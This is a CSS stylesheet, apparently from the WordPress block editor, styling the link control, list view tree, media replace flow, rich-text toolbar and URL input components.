.block-editor-link-control__field input[type=text]:focus,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-link-control__field input[type=text]::-webkit-input-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.block-editor-link-control__field input[type=text]::-moz-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.block-editor-link-control__field input[type=text]:-ms-input-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.has-actions .block-editor-link-control__field input[type=text],.has-actions .block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{
  padding-right:16px;
}

.block-editor-link-control__search-error{
  margin:-8px 16px 16px;
}

.block-editor-link-control__search-enter{
  position:absolute;
  right:19px;
  top:3px;
}
.block-editor-link-control__search-enter svg{
  position:relative;
  top:-2px;
}

.block-editor-link-control__search-actions{
  padding:8px 16px 16px;
}

.block-editor-link-control__search-results-wrapper{
  position:relative;
}
.block-editor-link-control__search-results-wrapper:after,.block-editor-link-control__search-results-wrapper:before{
  content:"";
  display:block;
  left:-1px;
  pointer-events:none;
  position:absolute;
  right:16px;
  z-index:100;
}
.block-editor-link-control__search-results-wrapper:before{
  bottom:auto;
  height:8px;
  top:0;
}
.block-editor-link-control__search-results-wrapper:after{
  bottom:0;
  height:16px;
  top:auto;
}

.block-editor-link-control__search-results{
  margin-top:-16px;
  max-height:200px;
  overflow-y:auto;
  padding:8px;
}
.block-editor-link-control__search-results.is-loading{
  opacity:.2;
}

.block-editor-link-control__search-item.components-button.components-menu-item__button{
  height:auto;
  text-align:left;
}
.block-editor-link-control__search-item .components-menu-item__item{
  display:inline-block;
  overflow:hidden;
  text-overflow:ellipsis;
  width:100%;
}
.block-editor-link-control__search-item .components-menu-item__item mark{
  background-color:initial;
  color:inherit;
  font-weight:600;
}
.block-editor-link-control__search-item .components-menu-item__shortcut{
  color:#757575;
  text-transform:capitalize;
  white-space:nowrap;
}
.block-editor-link-control__search-item[aria-selected]{
  background:#f0f0f0;
}
.block-editor-link-control__search-item.is-current{
  background:#0000;
  border:0;
  cursor:default;
  flex-direction:column;
  padding:16px;
  width:100%;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header{
  align-items:center;
  display:block;
  flex-direction:row;
  gap:8px;
  margin-right:8px;
  overflow-wrap:break-word;
  white-space:pre-wrap;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-info{
  color:#757575;
  font-size:12px;
  line-height:1.1;
  word-break:break-all;
}
.block-editor-link-control__search-item.is-preview .block-editor-link-control__search-item-header{
  display:flex;
  flex:1;
}
.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-header{
  align-items:center;
}
.block-editor-link-control__search-item.is-url-title .block-editor-link-control__search-item-title{
  word-break:break-all;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-details{
  display:flex;
  flex-direction:column;
  gap:4px;
  justify-content:space-between;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-icon{
  background-color:#f0f0f0;
  border-radius:2px;
  height:32px;
  width:32px;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-icon{
  align-items:center;
  display:flex;
  flex-shrink:0;
  justify-content:center;
  position:relative;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-icon img{
  width:16px;
}
.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-icon{
  max-height:32px;
  top:0;
  width:32px;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title{
  border-radius:2px;
  line-height:1.1;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus{
  box-shadow:none;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus-visible{
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  text-decoration:none;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{
  background-color:initial;
  color:inherit;
  font-weight:600;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title span{
  font-weight:400;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title svg{
  display:none;
}

.block-editor-link-control__search-item-top{
  align-items:center;
  display:flex;
  flex-direction:row;
  width:100%;
}

.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon img,.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon svg{
  opacity:0;
}
.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{
  animation:loadingpulse 1s linear infinite;
  animation-delay:.5s;
  background-color:#f0f0f0;
  border-radius:100%;
  bottom:0;
  content:"";
  display:block;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-link-control__loading{
  align-items:center;
  display:flex;
  margin:16px;
}
.block-editor-link-control__loading .components-spinner{
  margin-top:0;
}

.components-button+.block-editor-link-control__search-create{
  overflow:visible;
  padding:12px 16px;
}
.components-button+.block-editor-link-control__search-create:before{
  content:"";
  display:block;
  left:0;
  position:absolute;
  top:-10px;
  width:100%;
}

.block-editor-link-control__search-create{
  align-items:center;
}
.block-editor-link-control__search-create .block-editor-link-control__search-item-title{
  margin-bottom:0;
}
.block-editor-link-control__search-create .block-editor-link-control__search-item-icon{
  top:0;
}

.block-editor-link-control__drawer-inner{
  display:flex;
  flex-basis:100%;
  flex-direction:column;
  position:relative;
}

.block-editor-link-control__setting{
  flex:1;
  margin-bottom:0;
  padding:8px 0 8px 24px;
}
.block-editor-link-control__setting .components-base-control__field{
  display:flex;
}
.block-editor-link-control__setting .components-base-control__field .components-checkbox-control__label{
  color:#1e1e1e;
}
.block-editor-link-control__setting input{
  margin-left:0;
}
.is-preview .block-editor-link-control__setting{
  padding:20px 8px 8px 0;
}

.block-editor-link-control__tools{
  margin-top:-16px;
  padding:8px 8px 0;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle{
  gap:0;
  padding-left:0;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true]{
  color:#1e1e1e;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{
  transform:rotate(90deg);
  transition:transform .1s ease;
  visibility:visible;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{
  transform:rotate(0deg);
  transition:transform .1s ease;
  visibility:visible;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.block-editor-link-control .block-editor-link-control__search-input .components-spinner{
  display:block;
}
.block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner{
  bottom:auto;
  left:auto;
  position:absolute;
  right:40px;
  top:calc(50% - 8px);
}

.block-editor-link-control .block-editor-link-control__search-input-wrapper.has-actions .components-spinner{
  right:12px;
  top:calc(50% + 4px);
}

.block-editor-list-view-tree{
  border-collapse:collapse;
  margin:0;
  padding:0;
  width:100%;
}
.components-modal__content .block-editor-list-view-tree{
  margin:-12px -6px 0;
  width:calc(100% + 12px);
}
.block-editor-list-view-tree.is-dragging tbody{
  pointer-events:none;
}

.block-editor-list-view-leaf{
  position:relative;
  transform:translateY(0);
}
.block-editor-list-view-leaf.is-draggable,.block-editor-list-view-leaf.is-draggable .block-editor-list-view-block-contents{
  cursor:grab;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button[aria-expanded=true]{
  color:inherit;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button:hover{
  color:var(--wp-admin-theme-color);
}
.is-dragging-components-draggable .block-editor-list-view-leaf:not(.is-selected) .block-editor-list-view-block-select-button:hover{
  color:inherit;
}
.block-editor-list-view-leaf.is-selected td{
  background:var(--wp-admin-theme-color);
}
.block-editor-list-view-leaf.is-selected.is-synced td{
  background:var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents .block-editor-block-icon,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:hover{
  color:var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents,.block-editor-list-view-leaf.is-selected .components-button.has-icon{
  color:#fff;
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-list-view-leaf.is-selected.is-synced .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff;
}
.block-editor-list-view-leaf.is-first-selected td:first-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf.is-first-selected td:last-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf.is-last-selected td:first-child{
  border-bottom-left-radius:2px;
}
.block-editor-list-view-leaf.is-last-selected td:last-child{
  border-bottom-right-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.block-editor-list-view-leaf.is-synced-branch.is-branch-selected{
  background:rgba(var(--wp-block-synced-color--rgb), .04);
}
.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:first-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:last-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:first-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:last-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:first-child{
  border-bottom-left-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:last-child{
  border-bottom-right-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected:not(.is-selected) td{
  border-radius:0;
}
.block-editor-list-view-leaf.is-displacement-normal{
  transform:translateY(0);
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-displacement-normal{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-displacement-up{
  transform:translateY(-36px);
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-displacement-up{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-displacement-down{
  transform:translateY(36px);
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-displacement-down{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks{
  transform:translateY(calc(var(--wp-admin--list-view-dragged-items-height, 36px)*-1));
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-after-dragged-blocks{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{
  transform:translateY(calc(-36px + var(--wp-admin--list-view-dragged-items-height, 36px)*-1));
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{
  transform:translateY(calc(36px + var(--wp-admin--list-view-dragged-items-height, 36px)*-1));
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-dragging{
  left:0;
  opacity:0;
  pointer-events:none;
  z-index:-9999;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents{
  align-items:center;
  border-radius:2px;
  display:flex;
  height:auto;
  padding:6px 4px 6px 0;
  position:relative;
  text-align:left;
  white-space:nowrap;
  width:100%;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents.is-dropping-before:before{
  border-top:4px solid var(--wp-admin-theme-color);
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:-2px;
  transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;
}
.components-modal__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{
  padding-left:0;
  padding-right:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents{
  box-shadow:none;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents:after{
  border-radius:inherit;
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:-29px;
  top:0;
  z-index:2;
}
.block-editor-list-view-leaf.has-single-cell .block-editor-list-view-block-contents:focus:after{
  right:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view__menu{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  z-index:1;
}
.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{
  animation:edit-post__fade-in-animation .2s ease-out 0s;
  animation-fill-mode:forwards;
  opacity:1;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.block-editor-list-view-leaf .block-editor-block-icon{
  flex:0 0 24px;
  margin-right:8px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__contents-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{
  padding-bottom:0;
  padding-top:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{
  line-height:0;
  vertical-align:middle;
  width:36px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell>*{
  opacity:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:hover>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:hover>*{
  opacity:1;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell .components-button.has-icon{
  min-width:24px;
  padding:0;
  width:24px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell{
  padding-right:4px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon{
  height:24px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell-alignment-wrapper{
  align-items:center;
  display:flex;
  flex-direction:column;
  height:100%;
}
.block-editor-list-view-leaf .block-editor-block-mover-button{
  height:24px;
  position:relative;
  width:36px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button svg{
  height:24px;
  position:relative;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button{
  align-items:flex-end;
  margin-top:-6px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button svg{
  bottom:-4px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button{
  align-items:flex-start;
  margin-bottom:-6px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button svg{
  top:-4px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button:before{
  height:16px;
  left:0;
  min-width:100%;
  right:0;
}
.block-editor-list-view-leaf .block-editor-inserter__toggle{
  background:#1e1e1e;
  color:#fff;
  height:24px;
  margin:6px 6px 6px 1px;
  min-width:24px;
}
.block-editor-list-view-leaf .block-editor-inserter__toggle:active{
  color:#fff;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__label-wrapper{
  min-width:120px;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title{
  flex:1;
  position:relative;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title .components-truncate{
  position:absolute;
  transform:translateY(-50%);
  width:100%;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor-wrapper{
  max-width:min(110px, 40%);
  position:relative;
  width:100%;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor{
  background:#0000001a;
  border-radius:2px;
  box-sizing:border-box;
  max-width:100%;
  padding:2px 6px;
  position:absolute;
  right:0;
  transform:translateY(-50%);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__anchor{
  background:#0000004d;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__lock{
  line-height:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__images{
  display:flex;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image{
  background-size:cover;
  border-radius:2px;
  height:18px;
  width:18px;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:only-child){
  box-shadow:0 0 0 2px #fff;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:first-child){
  margin-left:-6px;
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__image:not(:only-child){
  box-shadow:0 0 0 2px var(--wp-admin-theme-color);
}

.block-editor-list-view-draggable-chip{
  opacity:.8;
}

.block-editor-list-view-appender__cell .block-editor-list-view-appender__container,.block-editor-list-view-appender__cell .block-editor-list-view-block__contents-container,.block-editor-list-view-block__contents-cell .block-editor-list-view-appender__container,.block-editor-list-view-block__contents-cell .block-editor-list-view-block__contents-container{
  display:flex;
}

.block-editor-list-view__expander{
  cursor:pointer;
  height:24px;
  margin-left:4px;
  width:24px;
}

.block-editor-list-view-leaf[aria-level] .block-editor-list-view__expander{
  margin-left:220px;
}

.block-editor-list-view-leaf:not([aria-level="1"]) .block-editor-list-view__expander{
  margin-right:4px;
}

.block-editor-list-view-leaf[aria-level="1"] .block-editor-list-view__expander{
  margin-left:0;
}

.block-editor-list-view-leaf[aria-level="2"] .block-editor-list-view__expander{
  margin-left:24px;
}

.block-editor-list-view-leaf[aria-level="3"] .block-editor-list-view__expander{
  margin-left:52px;
}

.block-editor-list-view-leaf[aria-level="4"] .block-editor-list-view__expander{
  margin-left:80px;
}

.block-editor-list-view-leaf[aria-level="5"] .block-editor-list-view__expander{
  margin-left:108px;
}

.block-editor-list-view-leaf[aria-level="6"] .block-editor-list-view__expander{
  margin-left:136px;
}

.block-editor-list-view-leaf[aria-level="7"] .block-editor-list-view__expander{
  margin-left:164px;
}

.block-editor-list-view-leaf[aria-level="8"] .block-editor-list-view__expander{
  margin-left:192px;
}

.block-editor-list-view-leaf .block-editor-list-view__expander{
  visibility:hidden;
}

.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{
  transform:rotate(90deg);
  transition:transform .2s ease;
  visibility:visible;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{
  transform:rotate(0deg);
  transition:transform .2s ease;
  visibility:visible;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.block-editor-list-view-drop-indicator{
  pointer-events:none;
}
.block-editor-list-view-drop-indicator .block-editor-list-view-drop-indicator__line{
  background:var(--wp-admin-theme-color);
  border-radius:4px;
  height:4px;
}

.block-editor-list-view-drop-indicator--preview{
  pointer-events:none;
}
.block-editor-list-view-drop-indicator--preview .components-popover__content{
  overflow:hidden !important;
}
.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:4px;
  height:36px;
  overflow:hidden;
}
.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line--darker{
  background:rgba(var(--wp-admin-theme-color--rgb), .09);
}

.block-editor-list-view-placeholder{
  height:36px;
  margin:0;
  padding:0;
}

.list-view-appender .block-editor-inserter__toggle{
  background-color:#1e1e1e;
  border-radius:2px;
  color:#fff;
  height:24px;
  margin:8px 0 0 24px;
  min-width:24px;
  padding:0;
}
.list-view-appender .block-editor-inserter__toggle:focus,.list-view-appender .block-editor-inserter__toggle:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.list-view-appender__description{
  display:none;
}

.block-editor-list-view-block-select-button__bindings svg g{
  stroke:var(--wp-bound-block-color);
  fill:#0000;
  stroke-width:1.5;
  stroke-linecap:round;
  stroke-linejoin:round;
}

.modal-open .block-editor-media-replace-flow__options{
  display:none;
}

.block-editor-media-replace-flow__indicator{
  margin-left:4px;
}

.block-editor-media-flow__url-input{
  margin-left:-8px;
  margin-right:-8px;
  padding:16px;
}
.block-editor-media-flow__url-input.has-siblings{
  border-top:1px solid #1e1e1e;
  margin-top:8px;
  padding-bottom:8px;
}
.block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label{
  display:block;
  margin-bottom:8px;
  top:16px;
}
.block-editor-media-flow__url-input .block-editor-link-control{
  width:300px;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-url-input{
  margin:0;
  padding:0;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-info,.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title{
  max-width:200px;
  white-space:nowrap;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__tools{
  justify-content:flex-end;
  padding:16px var(--wp-admin-border-width-focus) var(--wp-admin-border-width-focus);
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current{
  padding:0;
  width:auto;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{
  margin:0;
  width:100%;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions{
  padding:8px 0 0;
}

.block-editor-media-flow__error{
  max-width:255px;
  padding:0 20px 20px;
}
.block-editor-media-flow__error .components-with-notices-ui{
  max-width:255px;
}
.block-editor-media-flow__error .components-with-notices-ui .components-notice__content{
  overflow:hidden;
  word-wrap:break-word;
}
.block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss{
  position:absolute;
  right:10px;
}

.block-editor-multi-selection-inspector__card{
  align-items:flex-start;
  display:flex;
  padding:16px;
}

.block-editor-multi-selection-inspector__card-content{
  flex-grow:1;
}

.block-editor-multi-selection-inspector__card-title{
  font-weight:500;
  margin-bottom:5px;
}

.block-editor-multi-selection-inspector__card-description{
  font-size:13px;
}

.block-editor-multi-selection-inspector__card .block-editor-block-icon{
  height:24px;
  margin-left:-2px;
  margin-right:10px;
  padding:0 3px;
  width:36px;
}

.block-editor-responsive-block-control{
  border-bottom:1px solid #ccc;
  margin-bottom:28px;
  padding-bottom:14px;
}
.block-editor-responsive-block-control:last-child{
  border-bottom:0;
  padding-bottom:0;
}

.block-editor-responsive-block-control__title{
  margin:0 0 .6em -3px;
}

.block-editor-responsive-block-control__label{
  font-weight:600;
  margin-bottom:.6em;
  margin-left:-3px;
}

.block-editor-responsive-block-control__inner{
  margin-left:-1px;
}

.block-editor-responsive-block-control__toggle{
  margin-left:1px;
}

.block-editor-responsive-block-control .components-base-control__help{
  border:0;
  clip:rect(1px, 1px, 1px, 1px);
  -webkit-clip-path:inset(50%);
          clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.components-popover.block-editor-rich-text__inline-format-toolbar{
  z-index:99998;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content{
  box-shadow:none;
  margin-bottom:8px;
  min-width:auto;
  outline:none;
  width:auto;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar{
  border-radius:2px;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control{
  min-height:48px;
  min-width:48px;
  padding-left:12px;
  padding-right:12px;
}

.block-editor-rich-text__inline-format-toolbar-group .components-dropdown-menu__toggle{
  justify-content:center;
}

.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon{
  width:auto;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon:after{
  content:attr(aria-label);
}

.block-editor-skip-to-selected-block{
  position:absolute;
  top:-9999em;
}
.block-editor-skip-to-selected-block:focus{
  background:#f1f1f1;
  box-shadow:0 0 2px 2px #0009;
  color:var(--wp-admin-theme-color);
  display:block;
  font-size:14px;
  font-weight:600;
  height:auto;
  line-height:normal;
  outline:none;
  padding:15px 23px 14px;
  text-decoration:none;
  width:auto;
  z-index:100000;
}

.block-editor-text-decoration-control{
  border:0;
  margin:0;
  padding:0;
}
.block-editor-text-decoration-control .block-editor-text-decoration-control__buttons{
  display:flex;
  padding:4px 0;
}
.block-editor-text-decoration-control .components-button.has-icon{
  height:32px;
  margin-right:4px;
  min-width:32px;
  padding:0;
}

.block-editor-text-transform-control{
  border:0;
  margin:0;
  padding:0;
}
.block-editor-text-transform-control .block-editor-text-transform-control__buttons{
  display:flex;
  padding:4px 0;
}
.block-editor-text-transform-control .components-button.has-icon{
  height:32px;
  margin-right:4px;
  min-width:32px;
  padding:0;
}

.block-editor-tool-selector__help{
  border-top:1px solid #ddd;
  color:#757575;
  margin:8px -8px -8px;
  min-width:280px;
  padding:16px;
}

.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{
  flex-grow:1;
  padding:1px;
  position:relative;
}
.block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{
  font-size:16px;
  margin-left:0;
  margin-right:0;
  padding:8px 8px 8px 12px;
  width:100%;
}
@media (min-width:600px){
  .block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{
    font-size:13px;
    width:300px;
  }
}
.block-editor-block-list__block .block-editor-url-input input[type=text]::-ms-clear,.block-editor-url-input input[type=text]::-ms-clear,.components-popover .block-editor-url-input input[type=text]::-ms-clear{
  display:none;
}
.block-editor-block-list__block .block-editor-url-input.is-full-width,.block-editor-block-list__block .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions,.block-editor-url-input.is-full-width,.block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-url-input.is-full-width__suggestions,.components-popover .block-editor-url-input.is-full-width,.components-popover .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.components-popover .block-editor-url-input.is-full-width__suggestions{
  width:100%;
}
.block-editor-block-list__block .block-editor-url-input .components-spinner,.block-editor-url-input .components-spinner,.components-popover .block-editor-url-input .components-spinner{
  margin:0;
  position:absolute;
  right:8px;
  top:calc(50% - 8px);
}

.block-editor-url-input__input[type=text]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:6px 8px;
  transition:box-shadow .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-url-input__input[type=text]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .block-editor-url-input__input[type=text]{
    font-size:13px;
    line-height:normal;
  }
}
.block-editor-url-input__input[type=text]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
